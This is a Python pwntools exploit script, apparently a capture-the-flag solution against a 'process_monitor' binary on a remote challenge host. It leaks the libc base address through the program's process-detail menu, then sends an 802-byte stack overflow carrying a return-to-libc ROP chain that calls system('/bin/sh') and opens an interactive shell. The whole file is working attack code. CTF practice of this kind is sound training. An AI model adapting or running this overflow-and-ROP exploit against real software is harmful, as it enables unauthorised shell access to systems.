exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host io.ept.gg --port 30001 ./process_monitor
from pwn import *

# Set up pwntools for the correct architecture
elf = exe = context.binary = ELF(args.EXE or './process_monitor')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'io.ept.gg'
port = int(args.PORT or 30001)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *show_process_detail+627
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled
import re


def leaklibc():
    io.recvuntil(b"Enter your choice: ")
    io.sendline(b"1")

    if args.LOCAL:
        processes = b""
        for i in range(98):
            processes += io.recvline()
        find = re.findall(b"\n.*process_monitor.*\n", processes)[0]
        pid = find[len("\nkali       "):len("\nkali       ")+5]
        io.recvuntil(b"Enter your choice: ")
        io.sendline(b"2")
        io.recvuntil(b"Enter the PID of the process: ")
        io.sendline(pid)
        for i in range(16):
            io.recvline()
        
        return int(io.recvline()[:len("7fef1fb60000")], 16)

    else:
        processes = b""
        processes = io.recvline()
        processes += io.recvline()
        processes += io.recvline()
        processes += io.recvline()
        processes += io.recvline()
        processes += io.recvline()
        processes += io.recvline()

        
        pid = processes.split(b"\n")[4][len("ept        "):len("ept        ")+4]
        io.recvuntil(b"Enter your choice: ")
        io.sendline(b"2")
        io.recvuntil(b"Enter the PID of the process: ")
        io.sendline(pid)
        for i in range(16):
            io.recvline()
        return int(io.recvline()[:len("7fef1fb60000")], 16)

libc = ELF("/home/kali/ctf/libc-database/db/libc6_2.35-0ubuntu3.4_amd64.so")
rop = ROP(libc)
io = start()

libcaddr = leaklibc()
log.info("Libc leak: " + hex(libcaddr))

libc.address = libcaddr
io.recvuntil(b"Enter your choice: ")
io.sendline(b"2")
io.recvuntil(b"Enter the PID of the process: ")

payload = b"A"*802
payload += p64(libcaddr + rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libcaddr + rop.find_gadget(['ret'])[0])
payload += p64(libc.sym.system)
io.sendline(payload)

io.interactive()